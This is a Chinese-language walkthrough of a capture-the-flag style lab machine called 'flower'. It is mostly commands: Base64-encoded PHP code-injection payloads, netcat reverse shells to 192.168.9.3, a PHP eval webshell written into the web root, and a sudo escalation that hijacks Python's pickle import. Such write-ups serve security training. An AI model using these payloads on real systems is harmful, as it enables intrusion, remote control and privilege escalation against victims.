nmap 扫描端口
Nmap scan report for 192.168.9.4
Host is up (0.00014s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
MAC Address: 08:00:27:18:4F:12 (Oracle VirtualBox virtual NIC)
访问网站查看
点击submit
选择不同的花会显示出不同的数字
既然这个数字在变,那我应该从数字入手。抓个包看看
这个MSsy就是1+2=3
说明这里存在Base64后的代码解析
先测试下
直接反弹shell
c3lzdGVtKCdiYXNoIHwgbmMgMTkyLjE2OC45LjMgMTEyMicp
#system('bash | nc 192.168.9.3 1122')
弹shell成功后但是不给回显
直接写文件
先看一下当前目录
就在网站目录
system('echo "<?php eval(\$\_POST[\"pass\"]);?>" > a.php');
c3lzdGVtKCdlY2hvICI8P3BocCBldmFsKFwkX1BPU1RbXCJwYXNzXCJdKTs/PiIgPiBhLnBocCcpOw==
哥斯拉连接
find / -perm -4000 2>/dev/null
尝试SUID 提权发现没有什么可以利用的
这里面可以看到有sudo
我们看下当前用户可以用sudo执行什么文件
/tmp >sudo -l
Matching Defaults entries for www-data on flower:
env\_reset, mail\_badpass, secure\_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on flower:
(rose) NOPASSWD: /usr/bin/python3 /home/rose/diary/diary.py
看下这个文件
import pickle
diary = {"November28":"i found a blue viola","December1":"i lost my blue viola"}
p = open('diary.pickle','wb')
pickle.dump(diary,p)
分析脚本可以发现这个脚本会引入pickle模块,然后执行代码
这里我们在同级目录新建一个pickle.py文件。这样就会引入我们的这个pickle.py 而不会引入模块库里面的pickle
新建一个pickle.py文件
将反弹命令写进这个文件里面
import os;os.system("/bin/bash")
然后执行diary.py
sudo -u rose /usr/bin/python3 /home/rose/diary/diary.py
sudo -u rose /usr/bin/python3 /home/rose/diary/diary.py
system('nc -e /bin/sh 192.168.9.3 9999')